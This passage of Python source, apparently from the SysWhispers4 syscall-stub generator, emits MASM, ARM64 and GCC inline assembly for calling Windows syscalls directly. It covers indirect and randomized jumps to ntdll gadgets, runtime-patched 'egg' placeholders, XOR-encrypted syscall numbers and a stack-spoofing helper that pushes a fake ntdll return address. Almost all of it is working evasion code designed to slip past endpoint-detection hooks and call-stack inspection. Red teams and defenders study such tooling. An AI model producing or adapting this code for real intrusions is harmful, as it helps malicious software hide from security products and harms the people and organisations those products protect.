mov rcx, QWORD PTR [rcx + rax*8] ; rcx = random gadget address
|
|
mov rdx, r11 ; restore arg2
|
|
{load_ssn}
|
|
jmp rcx ; -> random ntdll syscall;ret
|
|
{fname} ENDP
|
|
|
|
"""
|
|
|
|
def _asm_x64_egg(self, fname: str, idx: int, p: str, egg: int, junk: str) -> str:
|
|
egg_bytes = Obfuscator.egg_asm_bytes(egg)
|
|
if self.cfg.encrypt_ssn:
|
|
load_ssn = (
|
|
f" mov eax, DWORD PTR [{p}SsnTable + {idx * 4}] ; encrypted SSN\n"
|
|
f" xor eax, {p}XOR_KEY ; decrypt"
|
|
)
|
|
else:
|
|
load_ssn = f" mov eax, DWORD PTR [{p}SsnTable + {idx * 4}] ; load SSN"
|
|
|
|
return f"""\
|
|
; --- {fname} (egg: placeholder replaced with syscall at runtime) ---
|
|
; SW4HatchEggs() replaces the EGG below with: 0F 05 90 90 90 90 90 90
|
|
{fname} PROC
|
|
mov r10, rcx ; syscall ABI: arg1 -> r10
|
|
{junk}{load_ssn}
|
|
{egg_bytes} ; EGG -- will become: syscall + 6 NOPs
|
|
ret
|
|
{fname} ENDP
|
|
|
|
"""
|
|
|
|
def _asm_stack_spoof_helper(self, p: str) -> str:
|
|
return f"""\
|
|
; =========================================================================
|
|
; Stack spoofing helper (synthetic frame)
|
|
; On entry: rax = target function address to call
|
|
; All other registers set up for target
|
|
; Pushes a fake return address into ntdll before jumping to target.
|
|
; =========================================================================
|
|
EXTERN {p}SpoofReturnAddr:QWORD ; Pre-populated with a ntdll gadget addr
|
|
|
|
{p}CallWithSpoofedStack PROC
|
|
pop r11 ; save real return address in r11
|
|
push QWORD PTR [{p}SpoofReturnAddr] ; fake return address
|
|
push r11 ; push real address below (not on visible stack)
|
|
jmp rax ; jump to target (stack top = fake addr)
|
|
{p}CallWithSpoofedStack ENDP
|
|
|
|
"""
|
|
|
|
def _gen_asm_msvc_x86(self) -> str:
|
|
"""x86 stubs using SYSENTER (Heaven's Gate compatible)."""
|
|
p = self.cfg.prefix
|
|
method = self.cfg.method
|
|
egg_val = self.obf.generate_egg() if method == InvocationMethod.Egg else 0
|
|
|
|
header = f"""\
|
|
; {self.cfg.out_file}.x86.asm -- generated by SysWhispers4
|
|
; Method : {method} | Arch : x86 MASM (ml.exe)
|
|
.386
|
|
.model flat, stdcall
|
|
OPTION DOTNAME
|
|
|
|
.data
|
|
EXTERN {p}SsnTable:DWORD
|
|
|
|
.code
|
|
|
|
"""
|
|
stubs = []
|
|
for idx, proto in enumerate(self._prototypes):
|
|
fname = f"{p}{proto.name}"
|
|
n_args = proto.param_count
|
|
stubs.append(self._asm_x86_stub(fname, idx, p, n_args, method, egg_val))
|
|
|
|
return header + "\n".join(stubs) + "\nEND\n"
|
|
|
|
def _asm_x86_stub(self, fname: str, idx: int, p: str,
|
|
n_args: int, method: InvocationMethod, egg: int) -> str:
|
|
stack_arg_bytes = n_args * 4
|
|
|
|
if method == InvocationMethod.Embedded:
|
|
invoke = " sysenter\n ret"
|
|
elif method == InvocationMethod.Egg:
|
|
egg_bytes = Obfuscator.egg_asm_bytes(egg)
|
|
invoke = f" {egg_bytes} ; EGG\n ret"
|
|
else:
|
|
invoke = " sysenter\n ret" # x86 indirect via sysenter
|
|
|
|
return f"""\
|
|
; --- {fname} (x86) ---
|
|
{fname} PROC
|
|
push ebp
|
|
mov ebp, esp
|
|
mov eax, DWORD PTR [{p}SsnTable + {idx * 4}]
|
|
; Copy stack arguments for kernel (args start at [ebp+8])
|
|
lea edx, DWORD PTR [ebp+8]
|
|
push edx ; edx -> arg block
|
|
{invoke}
|
|
pop ebp
|
|
ret {stack_arg_bytes}
|
|
{fname} ENDP
|
|
|
|
"""
|
|
|
|
def _gen_asm_arm64_msvc(self) -> str:
|
|
"""ARM64 stubs using SVC #0."""
|
|
p = self.cfg.prefix
|
|
header = f"""\
|
|
; {self.cfg.out_file}.arm64.asm -- generated by SysWhispers4
|
|
; ARM64 MASM syntax (armasm64.exe)
|
|
; Arch: ARM64 | Instruction: SVC #0 | SSN register: w8
|
|
|
|
AREA |.text|, CODE, READONLY
|
|
|
|
EXTERN {p}SsnTable
|
|
|
|
"""
|
|
stubs = []
|
|
for idx, proto in enumerate(self._prototypes):
|
|
fname = f"{p}{proto.name}"
|
|
stubs.append(self._asm_arm64_stub(fname, idx, p))
|
|
|
|
return header + "\n".join(stubs) + "\n END\n"
|
|
|
|
def _asm_arm64_stub(self, fname: str, idx: int, p: str) -> str:
|
|
byte_offset = idx * 4
|
|
return f"""\
|
|
; --- {fname} (ARM64) ---
|
|
EXPORT {fname}
|
|
{fname} PROC
|
|
; ARM64 syscall ABI: x0-x7 = args, w8 = SSN, svc #0
|
|
adrp x9, {p}SsnTable
|
|
add x9, x9, :lo12:{p}SsnTable
|
|
ldr w8, [x9, #{byte_offset}] ; w8 = SSN
|
|
svc #0 ; syscall
|
|
ret
|
|
ENDP
|
|
|
|
"""
|
|
|
|
# -----------------------------------------------------------------------
|
|
# 4b. ASM Generation -- MinGW / Clang (GAS inline asm in C)
|
|
# -----------------------------------------------------------------------
|
|
|
|
def _gen_asm_gas_inline(self) -> str:
|
|
p = self.cfg.prefix
|
|
method = self.cfg.method
|
|
egg_val = self.obf.generate_egg() if method == InvocationMethod.Egg else 0
|
|
|
|
header = f"""\
|
|
/*
|
|
* {self.cfg.out_file}_stubs.c -- generated by SysWhispers4
|
|
* MinGW/Clang inline assembly stubs (GAS AT&T syntax -> Intel via -masm=intel)
|
|
*
|
|
* Compile with: -masm=intel
|
|
*/
|
|
#include "{self.cfg.out_file}.h"
|
|
|
|
extern DWORD {p}SsnTable[];
|
|
"""
|
|
if method in (InvocationMethod.Indirect, InvocationMethod.Randomized):
|
|
header += f"extern void* {p}SyscallAddrTable[];\n"
|
|
|
|
stubs = [header]
|
|
for idx, proto in enumerate(self._prototypes):
|
|
stubs.append(self._gas_stub(proto, idx, p, method, egg_val))
|
|
|
|
return "\n".join(stubs)
|
|
|
|
def _gas_stub(self, proto: SyscallPrototype, idx: int, p: str,
|
|
method: InvocationMethod, egg: int) -> str:
|
|
fname = f"{p}{proto.name}"
|
|
param_list = ", ".join(p_arg.c_declaration() for p_arg in proto.params)
|
|
func_sig = f"__declspec(naked) {proto.return_type} NTAPI {fname}({param_list})"
|
|
|
|
if method == InvocationMethod.Embedded:
|
|
asm_body = f"""\
|
|
__asm__ __volatile__ (
|
|
"mov r10, rcx\\n"
|
|
"mov eax, [{p}SsnTable + {idx * 4}]\\n"
|
|
"syscall\\n"
|
|
"ret\\n"
|
|
::: "memory"
|
|
);"""
|
|
elif method == InvocationMethod.Indirect:
|
|
asm_body = f"""\
|
|
__asm__ __volatile__ (
|
|
"mov r10, rcx\\n"
|
|
"mov eax, [{p}SsnTable + {idx * 4}]\\n"
|
|
"jmp qword ptr [{p}SyscallAddrTable + {idx * 8}]\\n"
|
|
::: "memory"
|
|
);"""
|
|
elif method == InvocationMethod.Randomized:
|
|
asm_body = f"""\
|
|
__asm__ __volatile__ (
|
|
"mov r10, rcx\\n"
|
|
"mov r11, rdx\\n"
|
|
"rdtsc\\n"
|
|
"xor eax, edx\\n"
|
|
"and eax, 63\\n"
|
|
"lea rcx, [{p}GadgetPool]\\n"
|
|
"mov rcx, qword ptr [rcx + rax*8]\\n"
|
|
"mov rdx, r11\\n"
|
|
"mov eax, [{p}SsnTable + {idx * 4}]\\n"
|
|
"jmp rcx\\n"
|
|
::: "memory"
|
|
);"""
|
|
else:
|
|
# Egg: GAS DB equivalent
|
|
egg_bytes_list = list(egg.to_bytes(8, "little"))
|
|
asm_body = f"""\
|
|
__asm__ __volatile__ (
|
|
"mov r10, rcx\\n"
|
|
"mov eax, [{p}SsnTable + {idx * 4}]\\n"
|
|
".byte {', '.join(str(b) for b in egg_bytes_list)}\\n" /* EGG */
|
|
"ret\\n"
|
|
::: "memory"
|
|
);"""
|
|
|
|
return f"""\
|
|
{func_sig} {{
|
|
{asm_body}
|
|
}}
|
|
|
|
"""
|